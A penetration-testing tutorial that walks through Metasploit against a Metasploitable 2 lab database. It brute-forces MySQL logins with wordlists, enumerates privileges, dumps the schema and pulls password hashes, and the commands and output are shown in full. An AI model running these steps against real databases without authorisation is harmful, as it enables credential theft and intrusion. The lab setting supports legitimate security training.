How to Enumerate MySQL Databases with Metasploit

Jan 22, 2020 11:42 PM
637015553479947019.jpg

It's been said time and time again: reconnaissance is perhaps the most critical phase of an attack. It's especially important when preparing an attack against a database since one wrong move can destroy every last bit of data, which usually isn't the desired outcome. Metasploit contains a variety of modules that can be used to enumerate MySQL databases, making it easy to gather valuable information.

What Information Is Valuable to an Attacker?

To a skilled hacker, almost any data can be important when it comes to preparing an attack. When we think of SQL from this perspective, a lot of times our minds go right to SQL injection, but gathering information about the database itself can sometimes be just as important.

Things to look for when enumerating a database include the version, as sometimes a successful attack can be as easy as finding an exploit for an outdated version. Other things to look for are valid credentials, which can not only be used for the database, but often can be used for other applications or systems (password reuse is a real thing, and a real problem for organizations). Lastly, information about the structure of the database can be extremely useful for performing SQL injection since knowing what's there is often half the battle.

Today, we will be using Metasploit to enumerate some of this information on a MySQL database. We'll be attacking Metasploitable 2 via our Kali Linux box.

Step 1: Perform the Nmap Scan

The first thing we need to do is determine if MySQL is running on the target. Since we know it runs on port 3306 by default, we can use Nmap to scan the host:

~# nmap 10.10.0.50 -p 3306

Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-21 08:09 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00073s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
MAC Address: 00:1D:09:55:B1:3B (Dell)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

And we can see, MySQL is indeed running and the port is open. Remember to use the correct IP address of the target.

Step 2: Get the Login Info

Now that we are certain MySQL is open on the target, we can get into enumeration to gather as much information as possible for reconnaissance. To begin, fire up Metasploit by typing msfconsole in the terminal.

~# msfconsole

We can then search for any modules relating to MySQL by using the search command:

msf5 > search mysql

Matching Modules
================

   #   Name                                                  Disclosure Date  Rank       Check  Description
   -   ----                                                  ---------------  ----       -----  -----------
   0   auxiliary/admin/http/manageengine_pmp_privesc         2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   1   auxiliary/admin/http/rails_devise_pass_reset          2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   2   auxiliary/admin/mysql/mysql_enum                                       normal     No     MySQL Enumeration Module
   3   auxiliary/admin/mysql/mysql_sql                                        normal     No     MySQL SQL Generic Query
   4   auxiliary/admin/tikiwiki/tikidblib                    2006-11-01       normal     No     TikiWiki Information Disclosure
   5   auxiliary/analyze/jtr_mysql_fast                                       normal     No     John the Ripper MySQL Password Cracker (Fast Mode)
   6   auxiliary/gather/joomla_weblinks_sqli                 2014-03-02       normal     Yes    Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
   7   auxiliary/scanner/mysql/mysql_authbypass_hashdump     2012-06-09       normal     Yes    MySQL Authentication Bypass Password Dump
   8   auxiliary/scanner/mysql/mysql_file_enum                                normal     Yes    MYSQL File/Directory Enumerator
   9   auxiliary/scanner/mysql/mysql_hashdump                                 normal     Yes    MYSQL Password Hashdump
   10  auxiliary/scanner/mysql/mysql_login                                    normal     Yes    MySQL Login Utility
   11  auxiliary/scanner/mysql/mysql_schemadump                               normal     Yes    MYSQL Schema Dump
   12  auxiliary/scanner/mysql/mysql_version                                  normal     Yes    MySQL Server Version Enumeration
   13  auxiliary/scanner/mysql/mysql_writable_dirs                            normal     Yes    MYSQL Directory Write Test
   14  auxiliary/server/capture/mysql                                         normal     No     Authentication Capture: MySQL
   15  exploit/linux/mysql/mysql_yassl_getname               2010-01-25       good       No     MySQL yaSSL CertDecoder::GetName Buffer Overflow
   16  exploit/linux/mysql/mysql_yassl_hello                 2008-01-04       good       No     MySQL yaSSL SSL Hello Message Buffer Overflow
   17  exploit/multi/http/manage_engine_dc_pmp_sqli          2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   18  exploit/multi/http/zpanel_information_disclosure_rce  2014-01-30       excellent  No     Zpanel Remote Unauthenticated RCE
   19  exploit/multi/mysql/mysql_udf_payload                 2009-01-16       excellent  No     Oracle MySQL UDF Payload Execution
   20  exploit/unix/webapp/kimai_sqli                        2013-05-21       average    Yes    Kimai v0.9.2 'db_restore.php' SQL Injection
   21  exploit/unix/webapp/wp_google_document_embedder_exec  2013-01-03       normal     Yes    WordPress Plugin Google Document Embedder Arbitrary File Disclosure
   22  exploit/windows/mysql/mysql_mof                       2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows MOF Execution
   23  exploit/windows/mysql/mysql_start_up                  2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows FILE Privilege Abuse
   24  exploit/windows/mysql/mysql_yassl_hello               2008-01-04       average    No     MySQL yaSSL SSL Hello Message Buffer Overflow
   25  exploit/windows/mysql/scrutinizer_upload_exec         2012-07-27       excellent  Yes    Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential
   26  post/linux/gather/enum_configs                                         normal     No     Linux Gather Configurations
   27  post/linux/gather/enum_users_history                                   normal     No     Linux Gather User History
   28  post/multi/manage/dbvis_add_db_admin                                   normal     No     Multi Manage DbVisualizer Add Db Admin

There's a lot here, but mostly we are concerned with some of the auxiliary scanners for now. The first one we'll look at is the mysql_login module, which will find some valid credentials for the MySQL service. Load it up with the use command:

msf5 > use auxiliary/scanner/mysql/mysql_login

Now, we can take a look at the current settings using the options command:

msf5 auxiliary(scanner/mysql/mysql_login) > options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

First, let's create a text file containing a list of possible usernames. We'll keep it short for demonstration purposes, but longer, publicly available lists can also be used. We'll call it users.txt:

msf5 auxiliary(scanner/mysql/mysql_login) > nano users.txt

[*] exec: nano users.txt

Now let's add a few common potential usernames:

root
admin
guest
user
mysql

Save the file, then we'll do the same thing for passwords:

msf5 auxiliary(scanner/mysql/mysql_login) > nano passwords.txt

[*] exec: nano passwords.txt

Again, feel free to use longer password lists, but just know the module will take longer to complete. For now, we'll throw in a few common passwords:

password
mysql
root
admin

Then, we can set the file to read the usernames from:

msf5 auxiliary(scanner/mysql/mysql_login) > set user_file users.txt

user_file => users.txt

And do the same for the passwords file:

msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file passwords.txt

pass_file => passwords.txt

MySQL can also allow logins with a blank password, so it's wise to check for that as well. Set the option to true to check for blank passwords:

msf5 auxiliary(scanner/mysql/mysql_login) > set blank_passwords true

blank_passwords => true

The last thing we need to do is set the IP address of our target. We can use the setg command here to set the option globally since all of our scans will run on the same host:

msf5 auxiliary(scanner/mysql/mysql_login) > setg rhosts 10.10.0.50

rhosts => 10.10.0.50

Finally, type run to kick it off:

msf5 auxiliary(scanner/mysql/mysql_login) > run

[+] 10.10.0.50:3306       - 10.10.0.50:3306 - Found remote MySQL version 5.0.51a
[!] 10.10.0.50:3306       - No active DB -- Credential data will not be saved!
[+] 10.10.0.50:3306       - 10.10.0.50:3306 - Success: 'root:'
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin: (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:password (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:mysql (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:root (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:admin (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[+] 10.10.0.50:3306       - 10.10.0.50:3306 - Success: 'guest:'
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user: (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:password (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:mysql (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:root (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:admin (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql: (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:password (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:mysql (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:root (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:admin (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[*] 10.10.0.50:3306       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We can see that it tries all the possible combinations of usernames and passwords we gave it, and it found a couple of valid logins in the process. It looks like both guest and root are valid logins using blank passwords, which will be good to know for the upcoming modules.

Step 3: Run the MySQL Enumerator

The next module we'll look at will automatically enumerate various information about the MySQL database, including the version number, server information, data directory, and several other options that can be configured in MySQL.

To get started, load the mysql_enum module:

msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/admin/mysql/mysql_enum

Next, we can take a look at the options this module has to offer:

msf5 auxiliary(admin/mysql/mysql_enum) > options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    10.10.0.50       yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port (TCP)
   USERNAME                   no        The username to authenticate as

The port number is set by default, and since we previously used the global option to set the IP address, the only thing we need to set here is the username. We know from the previous step that this instance of MySQL allows root to login with a blank password, so we can set that option globally now:

msf5 auxiliary(admin/mysql/mysql_enum) > setg username root

username => root

The only thing left to do is to launch the module:

msf5 auxiliary(admin/mysql/mysql_enum) > run

[*] Running module against 10.10.0.50

[*] 10.10.0.50:3306 - Running MySQL Enumerator...
[*] 10.10.0.50:3306 - Enumerating Parameters
[*] 10.10.0.50:3306 -   MySQL Version: 5.0.51a-3ubuntu5
[*] 10.10.0.50:3306 -   Compiled for the following OS: debian-linux-gnu
[*] 10.10.0.50:3306 -   Architecture: i486
[*] 10.10.0.50:3306 -   Server Hostname: metasploitable
[*] 10.10.0.50:3306 -   Data Directory: /var/lib/mysql/
[*] 10.10.0.50:3306 -   Logging of queries and logins: OFF
[*] 10.10.0.50:3306 -   Old Password Hashing Algorithm OFF
[*] 10.10.0.50:3306 -   Loading of local files: ON
[*] 10.10.0.50:3306 -   Deny logins with old Pre-4.1 Passwords: OFF
[*] 10.10.0.50:3306 -   Allow Use of symlinks for Database Files: YES
[*] 10.10.0.50:3306 -   Allow Table Merge: YES
[*] 10.10.0.50:3306 -   SSL Connections: Enabled
[*] 10.10.0.50:3306 -   SSL CA Certificate: /etc/mysql/cacert.pem
[*] 10.10.0.50:3306 -   SSL Key: /etc/mysql/server-key.pem
[*] 10.10.0.50:3306 -   SSL Certificate: /etc/mysql/server-cert.pem
[*] 10.10.0.50:3306 - Enumerating Accounts:
[*] 10.10.0.50:3306 -   List of Accounts with Password Hashes:
[+] 10.10.0.50:3306 -       User: debian-sys-maint Host:  Password Hash:
[+] 10.10.0.50:3306 -       User: root Host: % Password Hash:
[+] 10.10.0.50:3306 -       User: guest Host: % Password Hash:
[*] 10.10.0.50:3306 -   The following users have GRANT Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have CREATE USER Privilege:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have RELOAD Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have SHUTDOWN Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have SUPER Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have FILE Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have PROCESS Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following accounts have privileges to the mysql database:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following accounts have empty passwords:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following accounts are not restricted by source:
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -       User: root Host: %
[*] Auxiliary module execution completed

We can see it returns a bunch of information that could end up being extremely useful.

Step 4: Dump the Database Schema

The next module we will use is the mysql_schemadump module, which, as the name implies, will dump the schema information about the database. A schema can be thought of as a sort of a blueprint for the database, containing organizational details on how it's laid out. It can be a lot of data to sift through, but it can help identify key pieces of the database in the recon phase.

First, load the module:

msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_schemadump

And we can look at the options:

msf5 auxiliary(scanner/mysql/mysql_schemadump) > options

Module options (auxiliary/scanner/mysql/mysql_schemadump):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
   PASSWORD                          no        The password for the specified username
   RHOSTS           10.10.0.50       yes       The target address range or CIDR identifier
   RPORT            3306             yes       The target port (TCP)
   THREADS          1                yes       The number of concurrent threads
   USERNAME         root             no        The username to authenticate as

Everything should be good to go here, so let's kick it off:

msf5 auxiliary(scanner/mysql/mysql_schemadump) > run

[+] 10.10.0.50:3306       - Schema stored in: /root/.msf4/loot/20200121084427_default_10.10.0.50_mysql_schema_679633.txt
[+] 10.10.0.50:3306       - MySQL Server Schema
 Host: 10.10.0.50
 Port: 3306
 ====================

---
- DBName: dvwa
  Tables:
  - TableName: guestbook
    Columns:
    - ColumnName: comment_id
      ColumnType: smallint(5) unsigned
    - ColumnName: comment
      ColumnType: varchar(300)
    - ColumnName: name
      ColumnType: varchar(100)
  - TableName: users
    Columns:
    - ColumnName: user_id
      ColumnType: int(6)
    - ColumnName: first_name
      ColumnType: varchar(15)
    - ColumnName: last_name
      ColumnType: varchar(15)
    - ColumnName: user
      ColumnType: varchar(15)
    - ColumnName: password
      ColumnType: varchar(32)
    - ColumnName: avatar
      ColumnType: varchar(70)
- DBName: metasploit
  Tables: []
- DBName: owasp10
  Tables:
  - TableName: accounts
    Columns:
    - ColumnName: cid
      ColumnType: int(11)
    - ColumnName: username
      ColumnType: text
    - ColumnName: password
      ColumnType: text
    - ColumnName: mysignature
      ColumnType: text
    - ColumnName: is_admin
      ColumnType: varchar(5)
  - TableName: blogs_table

...

As previously stated, it will return a lot of information, but luckily, Metasploit saves the loot in a text file for more convenient viewing.

Step 5: Get the MySQL Password Hashes

The next module we'll try out will attempt to gather any additional password hashes it finds in the database. It can be useful for pivoting to other systems, identifying password reuse, or gaining admin privileges if operating as another user.

Load the mysql_hashdump module:

msf5 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_hashdump

And take a peek at the options:

msf5 auxiliary(scanner/mysql/mysql_hashdump) > options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    10.10.0.50       yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads
   USERNAME  root             no        The username to authenticate as

Again, it all looks good, so we can launch the module:

msf5 auxiliary(scanner/mysql/mysql_hashdump) > run

[+] 10.10.0.50:3306       - Saving HashString as Loot: debian-sys-maint:
[+] 10.10.0.50:3306       - Saving HashString as Loot: root:
[+] 10.10.0.50:3306       - Saving HashString as Loot: guest:
[*] 10.10.0.50:3306       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We can see that it completes and saves any discovered hashes as loot. In this case, none of the users on the system have passwords set, so we don't get any strings.

Step 6: Run SQL Queries

The last module we will look at today is the mysql_sql module, which can run SQL queries from within the Metasploit Framework. It does require a working knowledge of the SQL language, so at this point, it might be more efficient to just connect to the database directly to issue commands. However, this demonstrates how to do everything without having to leave Metasploit.

First, load the module:

msf5 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/admin/mysql/mysql_sql

Then, we can view the current options:

msf5 auxiliary(admin/mysql/mysql_sql) > options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD                    no        The password for the specified username
   RHOSTS    10.10.0.50        yes       The target address range or CIDR identifier
   RPORT     3306              yes       The target port (TCP)
   SQL       select version()  yes       The SQL to execute.
   USERNAME  root              no        The username to authenticate as

The only thing we need to set is the SQL query to run against the target. For instance, one of the first commands to get familiar with when connecting to a database is the show databases command. That will list all of the available databases to use.

Set the option:

msf5 auxiliary(admin/mysql/mysql_sql) > set sql show databases

sql => show databases

And finally, run the module:

msf5 auxiliary(admin/mysql/mysql_sql) > run

[*] Running module against 10.10.0.50

[*] 10.10.0.50:3306 - Sending statement: 'show databases'...
[*] 10.10.0.50:3306 -  | information_schema |
[*] 10.10.0.50:3306 -  | dvwa |
[*] 10.10.0.50:3306 -  | metasploit |
[*] 10.10.0.50:3306 -  | mysql |
[*] 10.10.0.50:3306 -  | owasp10 |
[*] 10.10.0.50:3306 -  | tikiwiki |
[*] 10.10.0.50:3306 -  | tikiwiki195 |
[*] Auxiliary module execution completed

We can see there are a handful of different databases present in this instance of MySQL.

Wrapping Up

Today, we explored some ways to collect valuable information about MySQL databases using Metasploit. We learned how to find credentials, schema information, password hashes, and other useful data that could be used to successfully attack the system. Bottom line: it pays to be prepared.

Cover image by geralt/Pixabay; Screenshots by drd_/Null Byte

Just updated your iPhone? You'll find new Apple Intelligence capabilities, sudoku puzzles, Camera Control enhancements, volume control limits, layered Voice Memo recordings, and other useful features. Find out what's new and changed on your iPhone with the iOS 18.2 update.

Comments

No Comments Exist

Be the first, drop a comment!